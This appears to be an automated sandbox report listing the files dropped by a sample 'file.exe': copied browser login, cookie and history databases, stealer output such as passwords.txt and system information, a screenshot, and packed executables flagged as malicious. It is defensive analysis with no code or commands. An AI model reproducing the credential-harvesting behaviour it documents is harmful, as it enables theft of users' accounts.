SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\4sUtUNsvlrFeHistory

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\HXF2GKJggz_xLogin Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\Hm8O0mwXDHDOWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\KxyubmlbrMrsWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\McH__kxSGQ3CHistory

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\ViabJlcWgYGJCookies

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\XcbIA_ZWZ9jqWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\_oONYmGn6yA2Web Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\doi2rNpU9jTAWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\l0Mo_A56E5KdHistory

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\mX4bSXvGCffaLogin Data For Account

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\ogxbFEXNUkQ0Login Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\qa2LU9gSDt_SHistory

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\uqfKLeVZs6zqCookies

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy_lgbWpHb9dJ2\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	5.999391385907715
Encrypted:	false
SSDEEP:	12:copYxSlufq7gCx7Fbyr4rOSlTfJJADr6HDsZQZ7gC6:KauS79Gr4iSllJALQZ7c
MD5:	06ED2CD304730F55A5C7001509E128BE
SHA1:	49651485B2CE3D239172BD52BF5A265AB3EB8E18
SHA-256:	66851B5AA77B3DEE71B842F53D4E30F664F5A08F9754B9E87B323871981516A4
SHA-512:	0163A8537DE695D34865EEB9C872F15A1827644D8797344A2D36E776F174E5901E77AA560488B0D7D7359B3648614F818B85A7D51F59CCDF2831B5715F5A9334
Malicious:	false
Preview:	.google.com.FALSE./.TRUE.1699018815.1P_JAR.ENC893_djEwmUj/dRHWNmfhbTB/w+u3HcpAF49UGcxvovgmz9ye9OQyJO9KCFHkRm8=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=...google.com.TRUE./.TRUE.1712238015.NID.ENC893_djEwFCqquAx+Q1mLxpuZeEBJZSgzAt4Ngo/HHXcYPxMGINXG0MJzCe/y7m5VzpUyfsA6ingOdNobTvWP/YbKYpzg64nmGlCjRU9RpPIjDAuAxGlp5MTMUaOP4iC8aSCuijjqDE5gAdZQ5Jgb0/uEAZ4ssWGDsxXJbqpGbi04viYfPDhBfQ9XKXznqtHW/weYlNZJIGlKZBsCWoEIKfuL56VHKaBt04gLO/XK1/P3nHsp6pSc1x1uk1RRK7hSYUjCY5G/hcpBBjFv74dICDI=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=..

C:\Users\user\AppData\Local\Temp\trixy_lgbWpHb9dJ2\History\Firefox_v6zchhhv.default-release.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.9113057226932435
Encrypted:	false
SSDEEP:	3:N8DSLvIJiMgTE2WdkQVjDSLvIJiMhKVX3L2WdkQVQ:2OLciodFOLciA8dq
MD5:	0CE7E561D96623E70DD177304D3B56DA
SHA1:	27B4131817E71657AED90C086E01E7E925BF641E
SHA-256:	E0B2F92CFB58B7D5EDFBB1FDF3E81194D4E55A90706986C389BDF21D2AD2325D
SHA-512:	48154E76523305BBB7ED39FEAD22CB4DD6FDD568259DC8D0E70ABA4A21030DAF6D1274E0DC5D7F10DFCF7B3B61BD2401FFB4768F301AEF04F142AF23EF335AB5
Malicious:	false
Preview:	https://www.mozilla.org/privacy/firefox/.1696426831..https://www.mozilla.org/en-US/privacy/firefox/.1696426831..

C:\Users\user\AppData\Local\Temp\trixy_lgbWpHb9dJ2\information.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	5484
Entropy (8bit):	5.378772504351055
Encrypted:	false
SSDEEP:	96:xzoJ/C2ZRMWc2KBhA6tsxODs7X2XaApOw4ANUbg3x:xGqWX6tsxPWdJB
MD5:	6E87DB771FE849ACAD2D6506990DE8FB
SHA1:	211E3C38BC7B0424A723FC7CC0932DB658BE5DAE
SHA-256:	72F4F3B78E86AD5DFC5B8888C3A17DF74DF183CEDC84DD521B11F539AE453069
SHA-512:	EF841DAEAD8285D0CBEFF629040925A469DF8AD78853B3220335CE78A70C90C4735D2A9AA685B0D1CA7145CE90B747A4CDF3A88DE0DE7EBA76E801405DD3AAF3
Malicious:	false
Preview:	Build: default..Version: 1.9....Date: Thu Apr 25 16:29:05 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: b7a5b9b4705e281f1cf9f112fd3beb2a....Path: C:\Users\user\Desktop\file.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixy_lgbWpHb9dJ2....IP: 185.152.66.230..Location: US, Atlanta..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 965969 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 25/4/2024 16:29:5..TimeZone: UTC1....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [332]..csrss.exe [420]..wininit.exe [496]..csrss.exe [504]..winlogon.exe [564]..services.exe [632]..lsass.exe [640]..svchost.exe [752]..fontdrvhost.exe [780]..fontdrvhost.exe [788

C:\Users\user\AppData\Local\Temp\trixy_lgbWpHb9dJ2\passwords.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy_lgbWpHb9dJ2\screenshot.png

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	689470
Entropy (8bit):	7.927704104814448
Encrypted:	false
SSDEEP:	12288:iz96sM1yjLBWLJP8B39eKMqXU4HPx8zBU2zp9dApLut43f47SnGGePAT085F92mg:iz9NJjLgJPenbvHEhSut4P47QeP+FAmg
MD5:	6D4F1B7B9D72070302D498730F25F1C5
SHA1:	278CA484EF1AF76E1926F6376B231B5F645B96B9
SHA-256:	37C86354ACD1ECBF4009C922813E18D30283FD30F1BF12BF825537A4AA426DDD
SHA-512:	6B946D9BB1D5B65AF5470948098AB2D0D733E8D12D381D71FC9BEECD40BEFFF54A36403296FE9C964E881007E881C8AF7BE00E8864531132E63C94687B826461
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..y.mU........l...fk.....dd.}/3#".{.Qd...u]..QP....D.9.J!u..E..A. R.X.j.RJ.T...7....[c.U..9...6......D._.c.N.W...><..;=...Og...P..-..S.wXd.t??:.S.;..t/..G....{M..8.:i..OU..=.a..$........y1u\|L.3O...{\|..Y..HL.+..H..t.....;.....5.#.m...4........N....L..~:/.>...r.O&J.....TA.......o......G.E....2.....@....90..{[.>x..\|..9.}........F..?..t..{~P..?1.0..T7....A..;....{.q......1So.+3....\|..bK...LY..b..........6...c.7..2..;f.y.......[..o..Z...YL.....n.#1...s@.K...:..3...Ru....j.....).=S)?.o..R<.......C..7e.....6....W..Mg.sc5...2....<.t.rl.>7UK_.j.N...+}.7VS{.Puw....v].._....RLkA=..o.V...i\J,.1....;.\.s...9.].....1...%.]_-.=...zz....Lw.k...n....Ms.e\.[.k:w.k..W.qz..}v.:3..UUw...e...Jcg.+s....,.5}n..2.#.<.....t..bKvJ.......@...S\|..Oh>..w2.._...3.0..U.....v..m..ose5..w.\|....&.u....{.9,...ks.Y.e\.].m.m...Q.%[..-....J....T'...r+.O....z.M/..[\..:._.c....Y

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
